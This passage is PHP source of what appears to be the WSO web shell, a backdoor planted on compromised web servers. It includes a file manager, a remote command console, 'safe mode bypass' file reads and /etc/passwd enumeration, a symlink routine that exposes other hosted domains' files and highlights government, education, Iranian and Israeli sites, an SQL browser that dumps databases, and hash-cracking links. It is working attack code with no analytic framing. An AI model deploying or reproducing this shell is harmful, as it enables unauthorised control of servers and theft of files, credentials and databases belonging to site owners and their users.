		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'chmod\')">C</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
        echo "<option value='paste'>Paste / zip</option>";
    echo "</select>&nbsp;<input type='submit' value='>>'></td></tr></form></table></div>";
	wsoFooter();
}

function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		$_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
	wsoHeader();
	echo '<h1>String conversions</h1><div class=content>';
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";

	function wsoRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						wsoRecursiveGlob($item);
				} else {
					if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		wsoRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
			<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
			<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
			<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
			<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
		</form></div>";
	wsoFooter();
}

function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: ".$type);
			}
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	wsoHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		wsoFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	wsoFooter();
}

function actionSafeMode() {
	$temp='';
	ob_start();
	switch($_POST['p1']) {
		case 1:
			$temp=@tempnam($test, 'cx');
			if(@copy("compress.zlib://".$_POST['p2'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo 'Sorry... Can\'t open file';
			break;
		case 2:
			$files = glob($_POST['p2'].'*');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."
";
			break;
		case 3:
			$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST['p2']);
			break;
		case 5:
			for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
				$uid = @posix_getpwuid($_POST['p2']);
				if ($uid)
					echo join(':',$uid)."
";
			}
			break;
	}
	$temp = ob_get_clean();
	wsoHeader();
	echo '<h1>Safe mode bypass</h1><div class=content>';
	echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
	if($temp)
		echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
	echo '</div>';
	wsoFooter();
}

function actionConsole() {
	if(isset($_POST['ajax'])) {
		$_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
		ob_start();
		echo "document.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "document.mf.c.value='".$GLOBALS['cwd']."';";
			}
		}
		echo "document.cf.output.value+='".$temp."';";
		echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
	echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
	}
	echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
	echo '</form></div><script>document.cf.cmd.focus();</script>';
	wsoFooter();
}

function actionSelfRemove() {

	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	wsoFooter();
}

function actionDomain() {
	wsoHeader();
@mkdir('sym',0777);
$sym  = "Options all 
DirectoryIndex Sux.html 
AddType text/plain .php 
AddHandler server-parsed .php 
AddType text/plain .html 
AddHandler txt .html 
Require None 
Satisfy Any";
$sopen =@fopen ('sym/.htaccess','w');
fwrite($sopen ,$sym);
@symlink('/','sym/root');
$file = basename(__FILE__);
echo "<h1>Get All Server Domains</h1><div class=content>";
$cwd = getcwd();
echo "<form name='ndm' onSubmit=\"g(null,null,'sym',this.file.value,this.symfile.value);return false;\">
	Symlink <br/>
	The FilePath To Symlink : 
	<input type='text' name='file' value='$cwd' size='47'> File Name: 
	<input type='text' name='symfile' value='r00t.txt' size='23'> 
	<input type=submit value='>>'>
	</form><br>";

if($_POST['p1'] == 'sym') {
@symlink($_POST['p2'],"sym/".$_POST['p2']);
echo '<br /><a target="_blank" href="sym/'.$_POST['p3'].'" >'.$_POST['p3'].'</a>';
}
$d0mains = @file("/etc/named.conf");

if(!$d0mains){ echo "<br> Can't ReaD -> [/etc/named.conf]";}
else {
echo "<br><br>";
echo "<table align='center'border=1 width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($d0mains as $d0main){
if(eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domains);
flush();
if(strlen(trim($domains[1][0])) >2){
$user = posix_getpwuid(@fileowner('/etc/valiases/'.$domains[1][0]));
$us3r = $user['name'] ;
@symlink('/','sym/root');
$us3r = $domains[1][0];
$iran = '\.ir';
$isreal = '\.il';
$gov = '\.gov';
$edu = '\.edu';
if (eregi("$iran",$domains[1][0]) or eregi("$isreal",$domains[1][0]) or eregi("$gov",$domains[1][0]) or eregi("$edu",$domains[1][0]) )
{
$us3r = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$domains[1][0].'</div>';
}
echo "
<tr>
<td>
<a target='_blank' href=http://www.".$domains[1][0].'/>'.$us3r.' </a>
</td>
<td>
'.$user['name']."
</td>
<td>
<a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a>
</td>
</tr> ";
flush();
}
}
}
}
	wsoFooter();
}
function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('By:e');
}
function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = @mysql_list_dbs($this->link);
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error($this->link);
				break;
				case 'pgsql':
					return @pg_last_error($this->link);
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table wso2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					echo $create[1].";

";
					$this->query('SELECT * FROM `'.$table.'`');
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
					echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
					}
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
					echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if(@$_POST['p2']=='download') {
		ob_start("ob_gzhandler", 4096);
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
		header("Content-Disposition: attachment; filename=dump.sql");
		header("Content-Type: text/plain");
		foreach($_POST['tbl'] as $v)
				$db->dump($v);
		exit;
	}
	wsoHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>'></td>
			</tr>
		</table>
		<script>
			function st(t,l) {
				document.sf.p1.value = 'select';
				document.sf.p2.value = t;
				if(l!=null)document.sf.p3.value = l;
				document.sf.submit();
			}
			function is() {
				for(i=0;i<document.sf.elements['tbl[]'].length;++i)
					document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
					$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
					$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
					$num = $db->fetch();
					$num = $num['n'];
					echo "<span>".$_POST['p2']."</span> ($num) ";
					for($i=0;$i<($num/30);$i++)
						if($i != (int)$_POST['p3'])
							echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
						else
							echo ($i+1)," ";
					if($_POST['type']=='pgsql')
						$_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
					$db->query(@$_POST['p3']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	}
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
